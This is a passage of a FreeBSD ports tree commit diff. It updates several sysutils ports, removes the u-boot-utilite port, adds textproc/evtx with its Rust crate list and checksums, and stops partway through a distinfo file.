DISTVERSIONPREFIX=v +DISTVERSION= 2023.04.24.00 CATEGORIES= sysutils python PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} -MAINTAINER= ports@FreeBSD.org +MAINTAINER= p.mousavizadeh@protonmail.com COMMENT= Watchman client for Python WWW= https://pypi.org/project/pywatchman/ LICENSE= BSD3CLAUSE MIT LICENSE_COMB= multi +BROKEN_mips= depends on watchman, which needs c++11-libs +BROKEN_mips64= depends on watchman, which needs c++11-libs + RUN_DEPENDS= watchman>=4:sysutils/watchman -USES= python:3.6+ -USE_PYTHON= autoplist concurrent distutils - +USES= python USE_GITHUB= yes GH_ACCOUNT= facebook GH_PROJECT= watchman +USE_PYTHON= autoplist concurrent distutils -BROKEN_mips= Depends on watchman, which needs c++11-libs -BROKEN_mips64= Depends on watchman, which needs c++11-libs - -WRKSRC_SUBDIR= python +WRKSRC_SUBDIR= watchman/python post-install: ${FIND} ${STAGEDIR}${PYTHON_SITELIBDIR} -name "*.so" \ diff --git a/sysutils/py-pywatchman/distinfo b/sysutils/py-pywatchman/distinfo index 8a778969e3e..9f0f1b53b3b 100644 --- a/sysutils/py-pywatchman/distinfo +++ b/sysutils/py-pywatchman/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1536195383 -SHA256 (facebook-watchman-v4.9.0_GH0.tar.gz) = 1f6402dc70b1d056fffc3748f2fdcecff730d8843bb6936de395b3443ce05322 -SIZE (facebook-watchman-v4.9.0_GH0.tar.gz) = 3507999 +TIMESTAMP = 1682368791 +SHA256 (facebook-watchman-v2023.04.24.00_GH0.tar.gz) = 46633adc0eec8870e0cde420cc5b17834e196bdd760c1c977efc6d1eeb104b13 +SIZE (facebook-watchman-v2023.04.24.00_GH0.tar.gz) = 3963110 diff --git a/sysutils/py-pywatchman/files/patch-setup.py b/sysutils/py-pywatchman/files/patch-setup.py new file mode 100644 index 00000000000..0d9c752979a --- /dev/null +++ b/sysutils/py-pywatchman/files/patch-setup.py @@ -0,0 +1,11 @@ +--- setup.py.orig 2023-04-24 22:23:26 UTC ++++ setup.py +@@ -22,7 +22,7 @@ if watchman_src_dir is None: + # files. Otherwise it is impossible to obtain a relative path across different + # drives. However this has an implication that we will not be able to build this + # package outside the repository. Not great but it works. +-py_dir = os.path.join(watchman_src_dir, "watchman", "python") ++py_dir = os.path.join(watchman_src_dir, "python") + if os.name == "nt": + os.chdir(py_dir) + py_dir = os.path.relpath(py_dir) diff --git a/sysutils/py-pywatchman/pkg-descr b/sysutils/py-pywatchman/pkg-descr index f2cc507bbfb..0352ef194e0 100644 --- a/sysutils/py-pywatchman/pkg-descr +++ b/sysutils/py-pywatchman/pkg-descr @@ -1 +1,2 @@ -Connect and query Watchman to discover file changes. +Watchman exists to watch files and record when they actually change. +It can also trigger actions when matching files change. diff --git a/sysutils/rsfetch/Makefile b/sysutils/rsfetch/Makefile index 383b36b084c..789e929d2cf 100644 --- a/sysutils/rsfetch/Makefile +++ b/sysutils/rsfetch/Makefile @@ -11,6 +11,8 @@ LICENSE= MIT LICENSE_FILE= ${WRKSRC}/LICENSE USES= cargo ssl +BROKEN_SSL= openssl30 openssl31 +BROKEN_SSL_REASON= Fails to detect OpenSSL 3.0.0 and later USE_GITHUB= yes GH_ACCOUNT= ${PORTNAME} diff --git a/sysutils/terraform/Makefile b/sysutils/terraform/Makefile index e6473abb9aa..b3371da7ebf 100644 --- a/sysutils/terraform/Makefile +++ b/sysutils/terraform/Makefile @@ -1,6 +1,6 @@ PORTNAME= terraform DISTVERSIONPREFIX= v -DISTVERSION= 1.4.5 +DISTVERSION= 1.4.6 CATEGORIES= sysutils MAINTAINER= 0xdutra@gmail.com diff --git a/sysutils/terraform/distinfo b/sysutils/terraform/distinfo index 6640029aed1..bc530134e3a 100644 --- a/sysutils/terraform/distinfo +++ b/sysutils/terraform/distinfo @@ -1,5 +1,5 @@ -TIMESTAMP = 1682182826 -SHA256 (go/sysutils_terraform/terraform-v1.4.5/v1.4.5.mod) = 326cb6e13b521fa6f210788984e6d90a717330d32d126494ce8b678bcd8f03d4 -SIZE (go/sysutils_terraform/terraform-v1.4.5/v1.4.5.mod) = 9282 -SHA256 (go/sysutils_terraform/terraform-v1.4.5/v1.4.5.zip) = 95ad71e15a7009735494c316ed6406dc271a08e23d07157cdd3d63e57b4e2836 -SIZE (go/sysutils_terraform/terraform-v1.4.5/v1.4.5.zip) = 6846175 +TIMESTAMP = 1682822245 +SHA256 (go/sysutils_terraform/terraform-v1.4.6/v1.4.6.mod) = d37a7ffc29d57af1de5691d9cd8626a86d95a41d70acbc94a1e9ba47441fce71 +SIZE (go/sysutils_terraform/terraform-v1.4.6/v1.4.6.mod) = 9282 +SHA256 (go/sysutils_terraform/terraform-v1.4.6/v1.4.6.zip) = 139a58e787167acc23569f8f08199665cd49e11b1f5e1eea61ae1f4c9e11f227 +SIZE (go/sysutils_terraform/terraform-v1.4.6/v1.4.6.zip) = 6853996 diff --git a/sysutils/terragrunt/Makefile b/sysutils/terragrunt/Makefile index 751fa05870f..97b2dac1554 100644 --- a/sysutils/terragrunt/Makefile +++ b/sysutils/terragrunt/Makefile @@ -1,6 +1,6 @@ PORTNAME= terragrunt DISTVERSIONPREFIX= v -DISTVERSION= 0.45.4 +DISTVERSION= 0.45.6 CATEGORIES= sysutils MAINTAINER= 0xdutra@gmail.com diff --git a/sysutils/terragrunt/distinfo b/sysutils/terragrunt/distinfo index 1b350ae26db..b3c1c804863 100644 --- a/sysutils/terragrunt/distinfo +++ b/sysutils/terragrunt/distinfo @@ -1,5 +1,5 @@ -TIMESTAMP = 1682183079 -SHA256 (go/sysutils_terragrunt/terragrunt-v0.45.4/v0.45.4.mod) = 5937a5cf3ac53c8ba8ad7ed143f73e27bfef7a3931b1014b0fd10afe545ceb9f -SIZE (go/sysutils_terragrunt/terragrunt-v0.45.4/v0.45.4.mod) = 7709 -SHA256 (go/sysutils_terragrunt/terragrunt-v0.45.4/v0.45.4.zip) = 210b0a0c61b6cb8cf094bf09357f4a5560ff07984d38de0de57fc8d90ec6b72e -SIZE (go/sysutils_terragrunt/terragrunt-v0.45.4/v0.45.4.zip) = 2776181 +TIMESTAMP = 1682822282 +SHA256 (go/sysutils_terragrunt/terragrunt-v0.45.6/v0.45.6.mod) = 5937a5cf3ac53c8ba8ad7ed143f73e27bfef7a3931b1014b0fd10afe545ceb9f +SIZE (go/sysutils_terragrunt/terragrunt-v0.45.6/v0.45.6.mod) = 7709 +SHA256 (go/sysutils_terragrunt/terragrunt-v0.45.6/v0.45.6.zip) = 547c7283c8b9f718381e40e974f2dc1029b1b45f91b0cdcd5a5fc6ee25afcfb8 +SIZE (go/sysutils_terragrunt/terragrunt-v0.45.6/v0.45.6.zip) = 2778084 diff --git a/sysutils/u-boot-utilite/Makefile b/sysutils/u-boot-utilite/Makefile deleted file mode 100644 index c7e0900985d..00000000000 --- a/sysutils/u-boot-utilite/Makefile +++ /dev/null @@ -1,53 +0,0 @@ -PORTNAME= u-boot -PORTVERSION= 2015.07 -PORTREVISION= 4 -CATEGORIES= sysutils -MASTER_SITES= ftp://ftp.denx.de/pub/u-boot/:source1 \ - http://www.compulab.co.il/wp-content/uploads/2015/10/:source2 -PKGNAMESUFFIX= -utilite -DISTFILES= u-boot-2015.07.tar.bz2:source1 \ - cm-fx6_u-boot_2015-10-18.zip:source2 - -MAINTAINER= martin@waschbuesch.de -COMMENT= Cross-build U-Boot loader for Utilite (and Utilite Pro) -WWW= https://www.denx.de/wiki/U-Boot - -LICENSE= GPLv2 - -DEPRECATED= This port depends on the long time unsupported upstream devel/arm-none-eabi-gcc492. -EXPIRATION_DATE= 2023-04-30 - -BUILD_DEPENDS= ${CROSS_GCC}:devel/arm-none-eabi-gcc492 - -USES= gmake - -MAKE_ARGS+= ARCH=arm \ - CC=${CROSS_GCC} \ - CROSS_COMPILE=arm-none-eabi- \ - HOSTCC=cc - -EXTRA_PATCHES= ${WRKDIR}/cm-fx6-u-boot/u-boot/u-boot-2015.07-cm-fx6-3.patch:-p1 - -NO_ARCH= yes - -PORTSCOUT= ignore:1 - -U_BOOT_DIR= share/u-boot/${PORTNAME}${PKGNAMESUFFIX} - -do-configure: - cd ${WRKSRC}; ${MAKE_CMD} ${MAKE_ARGS} cm_fx6_config - -CROSS_GCC= arm-none-eabi-gcc-4.9.2 - -# The build results in two output files: SPL, and u-boot.img. -# Combine them into a single u-boot.imx so that there is only one file to be -# copied onto the boot media starting at a 1K offset on the disk. -CM_FX6_FIRMWARE= ${STAGEDIR}/${PREFIX}/${U_BOOT_DIR}/cm-fx6-firmware -do-install: - cd ${WRKSRC}; ./tools/mkimage -n arch/arm/imx-common/spl_sd.cfg.cfgtmp -T imximage -e 0x00908000 -d spl/u-boot-spl.bin spl.img - ${MKDIR} ${STAGEDIR}/${PREFIX}/${U_BOOT_DIR} - dd if=/dev/zero count=500 bs=1K | ${TR} '\000' '\377' > ${CM_FX6_FIRMWARE} - dd if=${WRKSRC}/spl.img of=${CM_FX6_FIRMWARE} bs=1K seek=1 conv=notrunc && dd if=${WRKSRC}/u-boot.img of=${CM_FX6_FIRMWARE} bs=1K seek=64 conv=notrunc - ${INSTALL_DATA} ${DESCR} ${STAGEDIR}/${PREFIX}/${U_BOOT_DIR}/README - -.include diff --git a/sysutils/u-boot-utilite/distinfo b/sysutils/u-boot-utilite/distinfo deleted file mode 100644 index f7439150552..00000000000 --- a/sysutils/u-boot-utilite/distinfo +++ /dev/null @@ -1,4 +0,0 @@ -SHA256 (u-boot-2015.07.tar.bz2) = 0b48c9bd717f2c322ef791f8282e14c88be942dc7d1226df7e31a812a3af94d9 -SIZE (u-boot-2015.07.tar.bz2) = 9919961 -SHA256 (cm-fx6_u-boot_2015-10-18.zip) = b71971e2faa44f73959dd571d7b97160c7d4ac16bfcd24df405bbfb6fe2917b8 -SIZE (cm-fx6_u-boot_2015-10-18.zip) = 740642 diff --git a/sysutils/u-boot-utilite/files/patch-include_configs_cm__fx6.h b/sysutils/u-boot-utilite/files/patch-include_configs_cm__fx6.h deleted file mode 100644 index a911587c63f..00000000000 --- a/sysutils/u-boot-utilite/files/patch-include_configs_cm__fx6.h +++ /dev/null @@ -1,19 +0,0 @@ ---- include/configs/cm_fx6.h.orig 2016-02-28 08:48:02 UTC -+++ include/configs/cm_fx6.h -@@ -21,6 +21,7 @@ - #define CONFIG_CMD_GREPENV - - /* MMC */ -+#define CONFIG_SYS_MMC_MAX_DEVICE 3 - #define CONFIG_SYS_FSL_USDHC_NUM 3 - #define CONFIG_SYS_FSL_ESDHC_ADDR USDHC2_BASE_ADDR - -@@ -174,6 +175,8 @@ - - /* NAND */ - #ifndef CONFIG_SPL_BUILD -+#define CONFIG_CMD_ELF -+#define CONFIG_API - #define CONFIG_CMD_NAND - #define CONFIG_SYS_NAND_BASE 0x40000000 - #define CONFIG_SYS_NAND_MAX_CHIPS 1 diff --git a/sysutils/u-boot-utilite/pkg-descr b/sysutils/u-boot-utilite/pkg-descr deleted file mode 100644 index 16b62ec3a07..00000000000 --- a/sysutils/u-boot-utilite/pkg-descr +++ /dev/null @@ -1,23 +0,0 @@ -U-Boot loader for Utilite and Utilite Pro - -Install the cm-fx6-firmware file onto the boot disk using: - - dd if=cm-fx6-firmware of=/dev/whatever bs=1k skip=1 seek=1 oflag=dsync - -The U-Boot built by this port expects the first 1MB of the boot media to -be reserved for the U-Boot executable and saved environment. The firmware -file begins at an offset of 1K from the start of the boot disk. The U-Boot -environment area begins at an offset of 512K. - -This version is patched so that: - * ELF and API features are enabled to support ubldr. - * A single U-Boot image supports Utilite and Utilite Pro. - * When the selected board has multiple SD or MMC devices available, the - mmc0 device in U-Boot (and thus the disk0 device in loader(8)) will be - whichever device U-Boot was loaded from by the ROM bootloader routines. - -The sources for this port are based on stock U-Boot 2015.07 with patches -provided by CompuLab at: -http://www.compulab.co.il/wp-content/uploads/2015/10/u-boot-2015.07.tar.bz2 - -For general information about U-Boot see https://www.denx.de/wiki/U-Boot diff --git a/sysutils/u-boot-utilite/pkg-plist b/sysutils/u-boot-utilite/pkg-plist deleted file mode 100644 index 494dfd62519..00000000000 --- a/sysutils/u-boot-utilite/pkg-plist +++ /dev/null @@ -1,2 +0,0 @@ -%%DATADIR%%/u-boot-utilite/README -%%DATADIR%%/u-boot-utilite/cm-fx6-firmware diff --git a/sysutils/vector/Makefile b/sysutils/vector/Makefile index 4b361934e0d..b85225f3387 100644 --- a/sysutils/vector/Makefile +++ b/sysutils/vector/Makefile @@ -18,6 +18,8 @@ LIB_DEPENDS= libonig.so:devel/oniguruma \ librdkafka.so:net/librdkafka USES= cargo lua:53 ssl +BROKEN_SSL= openssl30 openssl31 +BROKEN_SSL_REASON= Fails to detect OpenSSL 3.0.0 and later USE_GITHUB= yes GH_ACCOUNT= timberio GH_TUPLE= bytecodealliance:wasmtime:3de418630a263ca214931d69f796879be50d4f72:wasmtime \ diff --git a/sysutils/xfce4-netload-plugin/Makefile b/sysutils/xfce4-netload-plugin/Makefile index b9d2c670fba..b5ae4bce555 100644 --- a/sysutils/xfce4-netload-plugin/Makefile +++ b/sysutils/xfce4-netload-plugin/Makefile @@ -1,6 +1,5 @@ PORTNAME= xfce4-netload-plugin -PORTVERSION= 1.4.0 -PORTREVISION= 1 +PORTVERSION= 1.4.1 CATEGORIES= sysutils xfce MASTER_SITES= XFCE/panel-plugins DIST_SUBDIR= xfce4 @@ -12,9 +11,11 @@ WWW= https://goodies.xfce.org/projects/panel-plugins/xfce4-netload-plugin LICENSE= GPLv2 LICENSE_FILE= ${WRKSRC}/COPYING +LIB_DEPENDS= libharfbuzz.so:print/harfbuzz + USES= compiler:c11 gettext-tools gmake gnome libtool pkgconfig \ tar:bzip2 xfce -USE_GNOME= cairo gtk30 intltool +USE_GNOME= cairo gdkpixbuf2 gtk30 intltool USE_XFCE= panel GNU_CONFIGURE= yes @@ -27,7 +28,7 @@ NLS_CONFIGURE_ENABLE= nls NLS_USES= gettext-runtime post-patch: - @${REINPLACE_CMD} -e 's, || __FreeBSD_kernel__,,' \ + @${REINPLACE_CMD} -e 's/ || defined \{0,1\}(__FreeBSD_kernel__)//' \ ${WRKSRC}/panel-plugin/net.c \ ${WRKSRC}/panel-plugin/net.h \ ${WRKSRC}/panel-plugin/os.h diff --git a/sysutils/xfce4-netload-plugin/distinfo b/sysutils/xfce4-netload-plugin/distinfo index 521e81aa40b..60809edd53d 100644 --- a/sysutils/xfce4-netload-plugin/distinfo +++ b/sysutils/xfce4-netload-plugin/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1615394529 -SHA256 (xfce4/xfce4-netload-plugin-1.4.0.tar.bz2) = 6c76260e101790754dd93255ec979accd97d21a21da85d8edcd6c7b01ddcd70c -SIZE (xfce4/xfce4-netload-plugin-1.4.0.tar.bz2) = 403719 +TIMESTAMP = 1682755365 +SHA256 (xfce4/xfce4-netload-plugin-1.4.1.tar.bz2) = 9fac3a3ad52e18584bfb127cd1721d56de1004b9fdd140915fded89704ccb44e +SIZE (xfce4/xfce4-netload-plugin-1.4.1.tar.bz2) = 421959 diff --git a/sysutils/xfce4-netload-plugin/pkg-plist b/sysutils/xfce4-netload-plugin/pkg-plist index 548d239a57c..61f59a19002 100644 --- a/sysutils/xfce4-netload-plugin/pkg-plist +++ b/sysutils/xfce4-netload-plugin/pkg-plist @@ -17,6 +17,7 @@ share/icons/hicolor/scalable/apps/org.xfce.panel.netload.svg %%NLS%%share/locale/en_GB/LC_MESSAGES/xfce4-netload-plugin.mo %%NLS%%share/locale/eo/LC_MESSAGES/xfce4-netload-plugin.mo %%NLS%%share/locale/es/LC_MESSAGES/xfce4-netload-plugin.mo +%%NLS%%share/locale/et/LC_MESSAGES/xfce4-netload-plugin.mo %%NLS%%share/locale/eu/LC_MESSAGES/xfce4-netload-plugin.mo %%NLS%%share/locale/fi/LC_MESSAGES/xfce4-netload-plugin.mo %%NLS%%share/locale/fr/LC_MESSAGES/xfce4-netload-plugin.mo @@ -42,6 +43,7 @@ share/icons/hicolor/scalable/apps/org.xfce.panel.netload.svg %%NLS%%share/locale/pl/LC_MESSAGES/xfce4-netload-plugin.mo %%NLS%%share/locale/pt/LC_MESSAGES/xfce4-netload-plugin.mo %%NLS%%share/locale/pt_BR/LC_MESSAGES/xfce4-netload-plugin.mo +%%NLS%%share/locale/ro/LC_MESSAGES/xfce4-netload-plugin.mo %%NLS%%share/locale/ru/LC_MESSAGES/xfce4-netload-plugin.mo %%NLS%%share/locale/sk/LC_MESSAGES/xfce4-netload-plugin.mo %%NLS%%share/locale/sl/LC_MESSAGES/xfce4-netload-plugin.mo diff --git a/textproc/Makefile b/textproc/Makefile index d2d605d5180..4c302336717 100644 --- a/textproc/Makefile +++ b/textproc/Makefile @@ -194,6 +194,7 @@ SUBDIR += es-mythes SUBDIR += estraier SUBDIR += et-aspell + SUBDIR += evtx SUBDIR += exempi SUBDIR += expat2 SUBDIR += extract_url @@ -446,7 +447,6 @@ SUBDIR += lt-aspell SUBDIR += lt-hyphen SUBDIR += lttoolbox - SUBDIR += ltxml SUBDIR += lua-icu-utils SUBDIR += lua-lyaml SUBDIR += luaexpat @@ -1320,7 +1320,10 @@ SUBDIR += py-docstring-parser SUBDIR += py-docstring-to-markdown SUBDIR += py-docutils + SUBDIR += py-docx-generator SUBDIR += py-docx2txt + SUBDIR += py-docxcompose + SUBDIR += py-docxtpl SUBDIR += py-dominate SUBDIR += py-dparse SUBDIR += py-duecredit @@ -1337,6 +1340,7 @@ SUBDIR += py-enchant SUBDIR += py-enrich SUBDIR += py-et_xmlfile + SUBDIR += py-evtx2splunk SUBDIR += py-extract-msg SUBDIR += py-fastavro SUBDIR += py-feedparser @@ -1554,6 +1558,7 @@ SUBDIR += py-sphinxcontrib-websupport SUBDIR += py-sphinxemoji SUBDIR += py-sphinxext-opengraph + SUBDIR += py-splunk-hec SUBDIR += py-spylls SUBDIR += py-stemming SUBDIR += py-tableschema-to-template diff --git a/textproc/docbook2odf/Makefile b/textproc/docbook2odf/Makefile index 2770c53eca1..0da3df8d2b0 100644 --- a/textproc/docbook2odf/Makefile +++ b/textproc/docbook2odf/Makefile @@ -1,6 +1,6 @@ PORTNAME= docbook2odf PORTVERSION= 0.244 -PORTREVISION= 1 +PORTREVISION= 2 CATEGORIES= textproc perl5 MASTER_SITES= http://open.comsultia.com/docbook2odf/dwn/ diff --git a/textproc/eqe/Makefile b/textproc/eqe/Makefile index 42dd523fdfe..e374952c461 100644 --- a/textproc/eqe/Makefile +++ b/textproc/eqe/Makefile @@ -1,6 +1,6 @@ PORTNAME= eqe PORTVERSION= 1.3.0 -PORTREVISION= 5 +PORTREVISION= 6 CATEGORIES= textproc MASTER_SITES= http://rlehy.free.fr/ diff --git a/textproc/evtx/Makefile b/textproc/evtx/Makefile new file mode 100644 index 00000000000..e967968b8ca --- /dev/null +++ b/textproc/evtx/Makefile @@ -0,0 +1,199 @@ +PORTNAME= evtx +DISTVERSION= 0.8.1 +DISTVERSIONPREFIX= v +CATEGORIES= textproc + +MAINTAINER= acm@FreeBSD.org +COMMENT= A Fast parser for the Windows XML Event Log (EVTX) format +WWW= https://github.com/omerbenamram/evtx + +LICENSE= MIT + +USES= cargo +USE_GITHUB= yes +GH_ACCOUNT= omerbenamram + +CARGO_CRATES= addr2line-0.19.0 \ + adler-1.0.2 \ + aho-corasick-0.7.20 \ + android_system_properties-0.1.5 \ + anyhow-1.0.69 \ + assert_cmd-2.0.8 \ + atty-0.2.14 \ + autocfg-1.1.0 \ + backtrace-0.3.67 \ + bitflags-1.3.2 \ + bstr-1.2.0 \ + bumpalo-3.12.0 \ + bytecount-0.6.3 \ + byteorder-1.4.3 \ + camino-1.1.2 \ + cargo-platform-0.1.2 \ + cargo_metadata-0.14.2 \ + cast-0.3.0 \ + cc-1.0.79 \ + cfg-if-0.1.10 \ + cfg-if-1.0.0 \ + chrono-0.4.23 \ + clap-2.34.0 \ + clap-3.2.23 \ + clap_lex-0.2.4 \ + codespan-reporting-0.11.1 \ + console-0.15.5 \ + core-foundation-sys-0.8.3 \ + crc32fast-1.3.2 \ + criterion-0.3.6 \ + criterion-plot-0.4.5 \ + crossbeam-channel-0.5.6 \ + crossbeam-deque-0.8.2 \ + crossbeam-epoch-0.9.13 \ + crossbeam-utils-0.8.14 \ + csv-1.2.0 \ + csv-core-0.1.10 \ + ctor-0.1.26 \ + cxx-1.0.91 \ + cxx-build-1.0.91 \ + cxxbridge-flags-1.0.91 \ + cxxbridge-macro-1.0.91 \ + dialoguer-0.10.3 \ + diff-0.1.13 \ + difflib-0.4.0 \ + doc-comment-0.3.3 \ + either-1.8.1 \ + encode_unicode-0.3.6 \ + encoding-0.2.33 \ + encoding-index-japanese-1.20141219.5 \ + encoding-index-korean-1.20141219.5 \ + encoding-index-simpchinese-1.20141219.5 \ + encoding-index-singlebyte-1.20141219.5 \ + encoding-index-tradchinese-1.20141219.5 \ + encoding_index_tests-0.1.4 \ + env_logger-0.7.1 \ + env_logger-0.9.3 \ + error-chain-0.12.4 \ + fastrand-1.9.0 \ + float-cmp-0.9.0 \ + gimli-0.27.2 \ + glob-0.3.1 \ + half-1.8.2 \ + hashbrown-0.12.3 \ + hermit-abi-0.1.19 \ + hermit-abi-0.2.6 \ + humantime-1.3.0 \ + humantime-2.1.0 \ + iana-time-zone-0.1.53 \ + iana-time-zone-haiku-0.1.1 \ + indexmap-1.9.2 \ + indoc-1.0.9 \ + insta-1.28.0 \ + instant-0.1.12 \ + itertools-0.10.5 \ + itoa-1.0.5 \ + jemalloc-sys-0.5.3+5.3.0-patched \ + jemallocator-0.5.0 \ + js-sys-0.3.61 \ + lazy_static-1.4.0 \ + libc-0.2.139 \ + link-cplusplus-1.0.8 \ + linked-hash-map-0.5.6 \ + log-0.4.17 \ + memchr-2.5.0 \ + memoffset-0.7.1 \ + miniz_oxide-0.6.2 \ + nix-0.14.1 \ + normalize-line-endings-0.3.0 \ + num-derive-0.3.3 \ + num-integer-0.1.45 \ + num-traits-0.2.15 \ + num_cpus-1.15.0 \ + num_threads-0.1.6 \ + object-0.30.3 \ + once_cell-1.17.1 \ + oorandom-11.1.3 \ + os_str_bytes-6.4.1 \ + output_vt100-0.1.3 \ + pkg-config-0.3.26 \ + plotters-0.3.4 \ + plotters-backend-0.3.4 \ + plotters-svg-0.3.3 \ + predicates-2.1.5 \ + predicates-core-1.0.5 \ + predicates-tree-1.0.7 \ + pretty_assertions-1.3.0 \ + proc-macro2-1.0.51 \ + pulldown-cmark-0.9.2 \ + quick-error-1.2.3 \ + quick-xml-0.24.1 \ + quote-1.0.23 \ + rayon-1.6.1 \ + rayon-core-1.10.2 \ + redox_syscall-0.2.16 \ + regex-1.7.1 \ + regex-automata-0.1.10 \ + regex-syntax-0.6.28 \ + remove_dir_all-0.5.3 \ + rexpect-0.4.0 \ + rpmalloc-0.2.2 \ + rpmalloc-sys-0.2.3+b097fd0 \ + rustc-demangle-0.1.21 \ + ryu-1.0.12 \ + same-file-1.0.6 \ + scopeguard-1.1.0 \ + scratch-1.0.3 \ + semver-1.0.16 \ + serde-1.0.152 \ + serde_cbor-0.11.2 \ + serde_derive-1.0.152 \ + serde_json-1.0.93 \ + shell-words-1.1.0 \ + similar-2.2.1 \ + simplelog-0.12.0 \ + skeptic-0.13.7 \ + strsim-0.10.0 \ + syn-1.0.107 \ + tempfile-3.3.0 \ + termcolor-1.1.3 \ + termtree-0.4.0 \ + textwrap-0.11.0 \ + textwrap-0.16.0 \ + thiserror-1.0.38 \ + thiserror-impl-1.0.38 \ + time-0.1.45 \ + time-0.3.19 \ + time-core-0.1.0 \ + time-macros-0.2.7 \ + tinytemplate-1.2.1 \ + unicase-2.6.0 \ + unicode-ident-1.0.6 \ + unicode-width-0.1.10 \ + version_check-0.9.4 \ + void-1.0.2 \ + wait-timeout-0.2.0 \ + walkdir-2.3.2 \ + wasi-0.10.0+wasi-snapshot-preview1 \ + wasm-bindgen-0.2.84 \ + wasm-bindgen-backend-0.2.84 \ + wasm-bindgen-macro-0.2.84 \ + wasm-bindgen-macro-support-0.2.84 \ + wasm-bindgen-shared-0.2.84 \ + web-sys-0.3.61 \ + winapi-0.3.9 \ + winapi-i686-pc-windows-gnu-0.4.0 \ + winapi-util-0.1.5 \ + winapi-x86_64-pc-windows-gnu-0.4.0 \ + windows-sys-0.42.0 \ + windows_aarch64_gnullvm-0.42.1 \ + windows_aarch64_msvc-0.42.1 \ + windows_i686_gnu-0.42.1 \ + windows_i686_msvc-0.42.1 \ + windows_x86_64_gnu-0.42.1 \ + windows_x86_64_gnullvm-0.42.1 \ + windows_x86_64_msvc-0.42.1 \ + winstructs-0.3.0 \ + yaml-rust-0.4.5 \ + yansi-0.5.1 \ + zeroize-1.5.7 + +PLIST_FILES= bin/evtx_dump + +.include diff --git a/textproc/evtx/distinfo b/textproc/evtx/distinfo new file mode 100644 index 00000000000..e65256aa7a4 --- /dev/null +++ b/textproc/evtx/distinfo @@ -0,0 +1,363 @@ +TIMESTAMP = 1682839737 +SHA256 (rust/crates/addr2line-0.19.0.crate) = a76fd60b23679b7d19bd066031410fb7e458ccc5e958eb5c325888ce4baedc97 +SIZE (rust/crates/addr2line-0.19.0.crate) = 33210 +SHA256 (rust/crates/adler-1.0.2.crate) = f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe +SIZE (rust/crates/adler-1.0.2.crate) = 12778 +SHA256 (rust/crates/aho-corasick-0.7.20.crate) = cc936419f96fa211c1b9166887b38e5e40b19958e5b895be7c1f93adec7071ac +SIZE (rust/crates/aho-corasick-0.7.20.crate) = 111440 +SHA256 (rust/crates/android_system_properties-0.1.5.crate) = 819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311 +SIZE (rust/crates/android_system_properties-0.1.5.crate) = 5243 +SHA256 (rust/crates/anyhow-1.0.69.crate) = 224afbd727c3d6e4b90103ece64b8d1b67fbb1973b1046c2281eed3f3803f800 +SIZE (rust/crates/anyhow-1.0.69.crate) = 43576 +SHA256 (rust/crates/assert_cmd-2.0.8.crate) = 9834fcc22e0874394a010230586367d4a3e9f11b560f469262678547e1d2575e +SIZE (rust/crates/assert_cmd-2.0.8.crate) = 24347 +SHA256 (rust/crates/atty-0.2.14.crate) = d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8 +SIZE (rust/crates/atty-0.2.14.crate) = 5470 +SHA256 (rust/crates/autocfg-1.1.0.crate) = d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa +SIZE (rust/crates/autocfg-1.1.0.crate) = 13272 +SHA256 (rust/crates/backtrace-0.3.67.crate) = 233d376d6d185f2a3093e58f283f60f880315b6c60075b01f36b3b85154564ca +SIZE (rust/crates/backtrace-0.3.67.crate) = 78564 +SHA256 (rust/crates/bitflags-1.3.2.crate) = bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a +SIZE (rust/crates/bitflags-1.3.2.crate) = 23021 +SHA256 (rust/crates/bstr-1.2.0.crate) = b7f0778972c64420fdedc63f09919c8a88bda7b25135357fd25a5d9f3257e832 +SIZE (rust/crates/bstr-1.2.0.crate) = 340985 +SHA256 (rust/crates/bumpalo-3.12.0.crate) = 0d261e256854913907f67ed06efbc3338dfe6179796deefc1ff763fc1aee5535 +SIZE (rust/crates/bumpalo-3.12.0.crate) = 81604 +SHA256 (rust/crates/bytecount-0.6.3.crate) = 2c676a478f63e9fa2dd5368a42f28bba0d6c560b775f38583c8bbaa7fcd67c9c +SIZE (rust/crates/bytecount-0.6.3.crate) = 12416 +SHA256 (rust/crates/byteorder-1.4.3.crate) = 14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610 +SIZE (rust/crates/byteorder-1.4.3.crate) = 22512 +SHA256 (rust/crates/camino-1.1.2.crate) = c77df041dc383319cc661b428b6961a005db4d6808d5e12536931b1ca9556055 +SIZE (rust/crates/camino-1.1.2.crate) = 31121 +SHA256 (rust/crates/cargo-platform-0.1.2.crate) = cbdb825da8a5df079a43676dbe042702f1707b1109f713a01420fbb4cc71fa27 +SIZE (rust/crates/cargo-platform-0.1.2.crate) = 11645 +SHA256 (rust/crates/cargo_metadata-0.14.2.crate) = 4acbb09d9ee8e23699b9634375c72795d095bf268439da88562cf9b501f181fa +SIZE (rust/crates/cargo_metadata-0.14.2.crate) = 17469 +SHA256 (rust/crates/cast-0.3.0.crate) = 37b2a672a2cb129a2e41c10b1224bb368f9f37a2b16b612598138befd7b37eb5 +SIZE (rust/crates/cast-0.3.0.crate) = 11452 +SHA256 (rust/crates/cc-1.0.79.crate) = 50d30906286121d95be3d479533b458f87493b30a4b5f79a607db8f5d11aa91f +SIZE (rust/crates/cc-1.0.79.crate) = 62624 +SHA256 (rust/crates/cfg-if-0.1.10.crate) = 4785bdd1c96b2a846b2bd7cc02e86b6b3dbf14e7e53446c4f54c92a361040822 +SIZE (rust/crates/cfg-if-0.1.10.crate) = 7933 +SHA256 (rust/crates/cfg-if-1.0.0.crate) = baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd +SIZE (rust/crates/cfg-if-1.0.0.crate) = 7934 +SHA256 (rust/crates/chrono-0.4.23.crate) = 16b0a3d9ed01224b22057780a37bb8c5dbfe1be8ba48678e7bf57ec4b385411f +SIZE (rust/crates/chrono-0.4.23.crate) = 187259 +SHA256 (rust/crates/clap-2.34.0.crate) = a0610544180c38b88101fecf2dd634b174a62eef6946f84dfc6a7127512b381c +SIZE (rust/crates/clap-2.34.0.crate) = 202210 +SHA256 (rust/crates/clap-3.2.23.crate) = 